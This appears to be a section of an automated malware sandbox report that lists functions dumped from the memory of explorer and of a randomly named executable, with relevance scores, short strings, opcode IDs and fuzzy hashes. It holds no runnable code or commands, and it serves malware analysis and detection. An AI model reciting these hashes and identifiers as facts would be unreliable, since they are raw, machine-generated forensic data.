Instruction Fuzzy Hash: 59418C71D9864D9FEB45EBA8D8556FDBBB2FF15340F0401BAD009E7193DA386940CB41

Function 00007FF887B405F8 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF887B4176F
HBL, xrefs: 00007FF887B41765

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: N_H$HBL
API String ID: 0-684199934
Opcode ID: 01b40ee08d64b4ddb80d6e46d92f0d751a21cc84c64f63070514bd337a430aa6
Instruction ID: 559627c61b98db6357692ab0e0401a7ad11678b1325b312ebdce36b4409e260b
Opcode Fuzzy Hash: 01b40ee08d64b4ddb80d6e46d92f0d751a21cc84c64f63070514bd337a430aa6
Instruction Fuzzy Hash: C23156B1C5864D9FEB44EBA8D8157FDB6B2FF59780F0002BAD009E3296DE386940CB41

Function 00007FF887B40C36 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887B40C92

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: 0bedf47f3fa622cb436005eafb6c576ba94a6ea0c16673d92e1fc38924de1630
Instruction ID: 2f1ce30252d0c5ccefc91108385e7326ab848ac6a6d5e7bb0b37c1fa4c9e8f80
Opcode Fuzzy Hash: 0bedf47f3fa622cb436005eafb6c576ba94a6ea0c16673d92e1fc38924de1630
Instruction Fuzzy Hash: D871C670D58A1D8FDBA4EB68D894BACB7B2FF59340F5041E9D41DE3292CA346981CF40

Function 00007FF887B41AA0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887B41AE3

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: 752dbb912178c49c962d372534ae51f6f53e01656ae765fe4864ab1b781536ab
Instruction ID: dd4326c2886b4dce2737331361a052f44a5af29d26ac1c07de8038bb5361c075
Opcode Fuzzy Hash: 752dbb912178c49c962d372534ae51f6f53e01656ae765fe4864ab1b781536ab
Instruction Fuzzy Hash: AD41E571D58A5D9FDB94EBA8D899BADBBF1FF28701F00006AD009E7255DB74A881CB40

Function 00007FF887B41A81 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887B41AE3

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: 3f05aa5dc82f9e8f0519b82a2c106e12e0bb5db46ddb01d2560af6d86d46bee2
Instruction ID: ed524c03d1bd5aa5e4488f75cdc9fb26dc1819e1bb1f778256a3f5702a4fbc9d
Opcode Fuzzy Hash: 3f05aa5dc82f9e8f0519b82a2c106e12e0bb5db46ddb01d2560af6d86d46bee2
Instruction Fuzzy Hash: 4E410870D48A5C9FDB94EFA8D499BADBBF1FF28301F0401AAD409E7291DB74A841CB40

Function 00007FF887B4318D Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c396e272343b0ee7931145306890fb76546d297e01288c4cd732e4d71dec70c
Instruction ID: 4b38a00a900d9923940c2366e2cbbb3632bd77c09efad22fd6732a20451511c0
Opcode Fuzzy Hash: 7c396e272343b0ee7931145306890fb76546d297e01288c4cd732e4d71dec70c
Instruction Fuzzy Hash: 9CD12771D586998FEB98DB68D8A47BCB7B2FF59340F1441B9D00DE3292CE386984CB41

Function 00007FF887B45F75 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877951a14a17e68e90433f1d82b09677a46da4ee6f916f9c097f1ff5e35cc8ad
Instruction ID: c4b22905e06858bb6fc7749d3909a0cea622f706243a6eb7003db537cafbfebf
Opcode Fuzzy Hash: 877951a14a17e68e90433f1d82b09677a46da4ee6f916f9c097f1ff5e35cc8ad
Instruction Fuzzy Hash: 3241B332D8D6598FDB45EBA8E4552FD7BB1EF06364F04027BD009E3182DE285945CB92

Function 00007FF887B4149A Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf94e74110768855860886039631cd9d5c167fe358c5df5d4d63136c34506054
Instruction ID: 56b45cfbc49597c427eabd14a43819877c7800fc249e82546c7d208bc89f178f
Opcode Fuzzy Hash: cf94e74110768855860886039631cd9d5c167fe358c5df5d4d63136c34506054
Instruction Fuzzy Hash: 7E51B631CCD14E4BEB659AA898012FCBBB2FF56391F14027AD45ED64C3EE18141AC791

Function 00007FF887B417D5 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5111b6f6e1f24370ce5d25026ccb2c61183dd5e625ba2b0fd7167087e4a3215e
Instruction ID: a5b731da98debe448bdcd7dc2b3e340a00767ec378eae9e6351bdddb9c245b62
Opcode Fuzzy Hash: 5111b6f6e1f24370ce5d25026ccb2c61183dd5e625ba2b0fd7167087e4a3215e
Instruction Fuzzy Hash: 7A61EA70D1465D8FDB84EBA8D899BECBBB1FF58350F1041AAD00DE7292DB386985CB41

Function 00007FF887B40A62 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a84c680e23cdd6d163b1411493157d450b59b901698742ea045c9da7c217454f
Instruction ID: c69a3575d2aa7dea5d5af38622b69783993c7edcb33729f302cb28546fecf623
Opcode Fuzzy Hash: a84c680e23cdd6d163b1411493157d450b59b901698742ea045c9da7c217454f
Instruction Fuzzy Hash: C1316FB2E5490E5FEB98EB98E4556FDBBB2FF54781F400075D11DE3696CE282C018B81

Function 00007FF887B430C5 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e0fd58a7d26cd2f5d31f0e296b96ec5526de34774f6d7242544458d58688363
Instruction ID: 9232c76d00bfd6fe1824db6d89bede723e300176a1c00c378a5bf57aab4fec21
Opcode Fuzzy Hash: 2e0fd58a7d26cd2f5d31f0e296b96ec5526de34774f6d7242544458d58688363
Instruction Fuzzy Hash: A331F23088D69D5FDB42EB649816AED7FB0FF0A310F0901B7E048E7192CA2C9545C7A1

Function 00007FF887B458AA Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf207cf392c7e0cff35f43098bc539cee014d9f13b7c271378d91bb41aff5dd
Instruction ID: 3e6d2715d94f2341428dd8c276b342d1de993c1629a24d98f2c5bb9a865d9944
Opcode Fuzzy Hash: 3bf207cf392c7e0cff35f43098bc539cee014d9f13b7c271378d91bb41aff5dd
Instruction Fuzzy Hash: 8821A130949A5D8FEB84EFA8D8546ED77B2FF99750F00047AE40AE7292DB385910CB51

Function 00007FF887B40598 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f540d413340f0a6d3c9683cf2b17815049a1f315cc7d4ac54105def9934745e
Instruction ID: 74545b5af6bd61099bb89fe307676d4a2d9f52efe6ae7273b8d000fed82521e0
Opcode Fuzzy Hash: 0f540d413340f0a6d3c9683cf2b17815049a1f315cc7d4ac54105def9934745e
Instruction Fuzzy Hash: FE21C07194861E8FDB58DFA8D8446EEB7B2FB48350F10057AE419E2291DB38A950CB90

Function 00007FF887B42F6A Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd0c5f8def160fde60b83091eb889f5b274e9beca3d2767261400a9694c72a0
Instruction ID: f81dce11ae1a15169b1bbf4e0535800f5ab52be39b56be089a8be547c754f569
Opcode Fuzzy Hash: 9bd0c5f8def160fde60b83091eb889f5b274e9beca3d2767261400a9694c72a0
Instruction Fuzzy Hash: 2621B634A5891D9FDF84EB98D495AECBBF2FF69340F511169D00DE7252CB24A841DB40

Function 00007FF887B427E1 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6213084a471bc38e954aa405dd6a2ecba498224b259536b064123d9ff09088
Instruction ID: 29e5d5837403c1cb016e777ed457ea8a9033f9dcb86608102ac30b2a37546ea4
Opcode Fuzzy Hash: 4c6213084a471bc38e954aa405dd6a2ecba498224b259536b064123d9ff09088
Instruction Fuzzy Hash: 17016D3084C68D8FCB419BA4C814AEEBBF4FF46310F0502AAE048D7192D7385555CB51

Function 00007FF887B408B1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ef30f38c81482f18c632b6d080428711b41c1e6b4d1ae26370794a41f78bb5
Instruction ID: 3b12fd980725d00e86f87821479c12cc9ece2bced445a1bbbc5d995516aa3e04
Opcode Fuzzy Hash: 12ef30f38c81482f18c632b6d080428711b41c1e6b4d1ae26370794a41f78bb5
Instruction Fuzzy Hash: A9018C3084868C8FD744EF2899483A87FA0FBA9355F5446AAD508C6296DB394458C792

Function 00007FF887B40955 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f4e0d37617439115d8024e810be00be04c9bb028677ea369afc6a69304ce09e
Instruction ID: 56ffc5fb2ace171a6e00757a35ad944d949e87c5799c9ebacc628e9352dcccb4
Opcode Fuzzy Hash: 3f4e0d37617439115d8024e810be00be04c9bb028677ea369afc6a69304ce09e
Instruction Fuzzy Hash: 2AF0F031C98A4D9FEB44EB68D8482BDBBB1FF14300F4001BAD419C7192EF386984C701

Function 00007FF887B41BE3 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea7576a2d94b65b4c243990a9db8f9b945a6e04591d4e0833d3552cc9ea37ef5
Instruction ID: 06f784b8effbe7847a692d60bc6ffe2018dff1aec0cc23c9a9a5eda923ef75bf
Opcode Fuzzy Hash: ea7576a2d94b65b4c243990a9db8f9b945a6e04591d4e0833d3552cc9ea37ef5
Instruction Fuzzy Hash: 4FF0A431E4891D8FEF94EB9CD8856ECB7B2FB58341F50416AC40DE7246DE3858519B41

Non-executed Functions

Function 00007FF887B40648 Relevance: 6.6, Strings: 5, Instructions: 376COMMON

Download Yara Rule

Strings

[, xrefs: 00007FF887B453B1
-, xrefs: 00007FF887B45683
{, xrefs: 00007FF887B45141
", xrefs: 00007FF887B45588
", xrefs: 00007FF887B45547

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: "$"$-$[${
API String ID: 0-3019564589
Opcode ID: 6ee340e1b8784a404bf1e0fe04e808590eea457e49806c9487ff5bc23d2fd396
Instruction ID: edd6ebc7babfe75e90d2c3448b9eb1f264a6c69dad4ff74531a53b696e898218
Opcode Fuzzy Hash: 6ee340e1b8784a404bf1e0fe04e808590eea457e49806c9487ff5bc23d2fd396
Instruction Fuzzy Hash: B1E1D270D586298FEBA8DF68D8947EDB7B2FF58341F5041B9D44DA7281CA386A81CF40

Analysis Process: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exePID: 7672, Parent PID: 1124COMMON

Executed Functions

Function 00007FF887B5109D Relevance: 1.5, Strings: 1, Instructions: 289COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887B51278

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: a33e26d3d38a8b0eba9b7135313c279840ff678893c7265787ad8e635f778a39
Instruction ID: 90de7bfe076cf85e07b6248aff6922f5021098dc54a59272be216c27356d93b1
Opcode Fuzzy Hash: a33e26d3d38a8b0eba9b7135313c279840ff678893c7265787ad8e635f778a39
Instruction Fuzzy Hash: AA914971D8995D9FEB94EE28D8956EDB7B2FF59340F4002B9C00DD7282DE39A981CB40

Function 00007FF887B516C5 Relevance: 2.6, Strings: 2, Instructions: 126COMMON

Download Yara Rule

Strings

HBL, xrefs: 00007FF887B51765
M_H, xrefs: 00007FF887B5176F

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: M_H$HBL
API String ID: 0-3288315133
Opcode ID: a9d4f34f785a14dbe916ef50b26b269e5ecbd135f02884b22f121f3baa682f8b
Instruction ID: a642d54a5ad075a72879190767c421dc3c211d53fce177ea66d2624000bbbd2c
Opcode Fuzzy Hash: a9d4f34f785a14dbe916ef50b26b269e5ecbd135f02884b22f121f3baa682f8b
Instruction Fuzzy Hash: 1F419C71D1868E9FEB45EBA8D8556FDBBB2FF19340F0401B6D009E7293DA386900CB41

Function 00007FF887B505F8 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

HBL, xrefs: 00007FF887B51765
M_H, xrefs: 00007FF887B5176F

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: M_H$HBL
API String ID: 0-3288315133
Opcode ID: 8d9837676cd054609b21f5fdfe9d183bfe7e0f619afa8e0a22f8472814003bd1
Instruction ID: c881f19f252934aa4f2897fd1b33610f92b835db961b68eee9f0868d3aa97932
Opcode Fuzzy Hash: 8d9837676cd054609b21f5fdfe9d183bfe7e0f619afa8e0a22f8472814003bd1
Instruction Fuzzy Hash: FA3145B1C1868D9FEB44EBA8D8157EDB7B2FF59780F0002BAD009E3196DE386940CB41

Function 00007FF887B55F75 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

8eL, xrefs: 00007FF887B56446

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: 8eL
API String ID: 0-2915619072
Opcode ID: 42b56424fa38d2f42760b4a19d81b2a822b0d06eec949e6011878bbad1140726
Instruction ID: d3f624521c3aa2d1b831af166e66f3e08b3b073e0540e04566ca530966887091
Opcode Fuzzy Hash: 42b56424fa38d2f42760b4a19d81b2a822b0d06eec949e6011878bbad1140726
Instruction Fuzzy Hash: D2B1B431D4869E8FEB44EBA8D8557FDBBB1FF45350F50017AD009D3282DA386945CB82

Function 00007FF887B50C36 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887B50C92

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: 683c4f8988b4d01ae2dd3256c8f1486d5d793eb65be69f85abbca479fa236904
Instruction ID: 81532a7d36350895ace5aeef4f66d6d34fa27adbdcf19a165425c53be25b6121
Opcode Fuzzy Hash: 683c4f8988b4d01ae2dd3256c8f1486d5d793eb65be69f85abbca479fa236904
Instruction Fuzzy Hash: C171D670D4895D8FEB94EB68D899BACB7B1FF59340F5041A9D01DE3292DA34A981CF00

Function 00007FF887B519CA Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887B51AE3

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: c51b0dd01e9e69afdd2706f30694c1172ed3394e4a451568b4c9b72012be1ad2
Instruction ID: 28468d44c4f32daa3f545be6e4a247fb55fb7390e81879804f75f5af8f04e616
Opcode Fuzzy Hash: c51b0dd01e9e69afdd2706f30694c1172ed3394e4a451568b4c9b72012be1ad2
Instruction Fuzzy Hash: EC515A70D48A8D8FDB95EFA8C8597ADBBF1FF19300F0401AAD409D7192DB38A885CB41

Function 00007FF887B51AA0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887B51AE3

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: e9d981a2a079a5e2c2f2f6b2b084cb2669ddc94119682697cefc984f0f63bc3a
Instruction ID: aa6fc016b2e8b38e6b041b956ce821fde5c0cc8eb038376ae988510c8fe3f718
Opcode Fuzzy Hash: e9d981a2a079a5e2c2f2f6b2b084cb2669ddc94119682697cefc984f0f63bc3a
Instruction Fuzzy Hash: 7A41C670D08A5D9FDF94EFA8D899BADBBF1FB68701F04016AD009E7255DB74A881CB40

Function 00007FF887B5318D Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b38e826ec13c7d96b9dd9023bfe7b44dfc1abb5b6be79a4b81749918eacb49
Instruction ID: bea07e1ddf1794afaf03f8e331b97228fb76dd429eceab8233411d732f0abe30
Opcode Fuzzy Hash: 20b38e826ec13c7d96b9dd9023bfe7b44dfc1abb5b6be79a4b81749918eacb49
Instruction Fuzzy Hash: 90D12771D186998FEB98DB68D8A47ECB7B2FF59344F1441B9D00DE3292CA386984CB41

Function 00007FF887B5149A Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be67a9382468ac2568aad3c822f59339d0f7430fb8fe9a2c07cd34b0ccd34631
Instruction ID: 6050973a7fa416a92a7cb20e6c344ab811555c9ea31f206e9f71f210c8af6833
Opcode Fuzzy Hash: be67a9382468ac2568aad3c822f59339d0f7430fb8fe9a2c07cd34b0ccd34631
Instruction Fuzzy Hash: 2091E731D8D2CE8FEB55DA68A8012FC7BB1FF56390F04027AD45AD71D2EA386806C791

Function 00007FF887B527E1 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dd98ad929eda03a7cf2f534035d4b2c17aeb7453223ec83158d5f5c31a7a8eb
Instruction ID: a0b658c46251b010c03750d48c1dd70eb780e16a4ff79c95744aee039321fdfa
Opcode Fuzzy Hash: 4dd98ad929eda03a7cf2f534035d4b2c17aeb7453223ec83158d5f5c31a7a8eb
Instruction Fuzzy Hash: 8A51903184968D9FCB41EBA4D8556EDBBF0FF4A310F4002BAD048D7292DB399995CB91

Function 00007FF887B517D5 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59a83a9d3b4ac49aa414cb409dc0d86c0dfe0e4d3a4a467ae9acf96a72d91ff
Instruction ID: c65768fe1c29ade3328f4c5368d45a4449d2ada648a45cbd0931974a28e2faa2
Opcode Fuzzy Hash: a59a83a9d3b4ac49aa414cb409dc0d86c0dfe0e4d3a4a467ae9acf96a72d91ff
Instruction Fuzzy Hash: D361FA30D1464D8FEB94EBA8D899BECBBB1FF58340F10416AD00DE7292DB386985CB41

Function 00007FF887B50A62 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a9db5dfb8f606a5f9128c1dbbca96bb5f1a484342f1ee1e66219a38841be96
Instruction ID: 973851b5304ede9bb9a5a1f1eb102787ba83a0226b66fc3a43fb925c04db9380
Opcode Fuzzy Hash: a4a9db5dfb8f606a5f9128c1dbbca96bb5f1a484342f1ee1e66219a38841be96
Instruction Fuzzy Hash: EE3152B2D5488E9BEB88EFA8E4656FDA7B2FF44740B440176D018D3697DE282801CB41

Function 00007FF887B530C5 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddcc63461a762c388060c642e209e1f04bd3ae45997d1b983f560858f76c1e8b
Instruction ID: 999d22acd80d1908e712095130e76fd1c2a67bbd6e99de8dbce3ce85e3a6fd80
Opcode Fuzzy Hash: ddcc63461a762c388060c642e209e1f04bd3ae45997d1b983f560858f76c1e8b
Instruction Fuzzy Hash: 8131F23188D6DD5FDB42EB649816AED7FB0FF0A310F0901B7E048D7292CA2C9951C7A1

Function 00007FF887B558AA Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500668282fd4391d0bc0818ac1e8438ca992024206fb5a97d63c9adb4a8baf9c
Instruction ID: d7e3eeed8bfb9856e57b9d0049e31e86ef5f12888595a64a121f6038a037e216
Opcode Fuzzy Hash: 500668282fd4391d0bc0818ac1e8438ca992024206fb5a97d63c9adb4a8baf9c
Instruction Fuzzy Hash: E321D63094859D8FEB84EF68D4546ED77B2FF98350F000479E40EE7292DB386900CB41

Function 00007FF887B50598 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba70d9a01911965de6db3ef1b69fc508eb804a08c8043b07a07d63bc852189d1
Instruction ID: 4287b02012a029a34e08ce67abec4e502dfb32085051c0bb74d1fb24b11daaa0
Opcode Fuzzy Hash: ba70d9a01911965de6db3ef1b69fc508eb804a08c8043b07a07d63bc852189d1
Instruction Fuzzy Hash: F121D270D0965E8FDB58DFA8D8446EEB7B2FF48350F10053AE419E2291DB38A950CB90

Function 00007FF887B52F6A Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1491055772.00007FF887B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff887b50000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
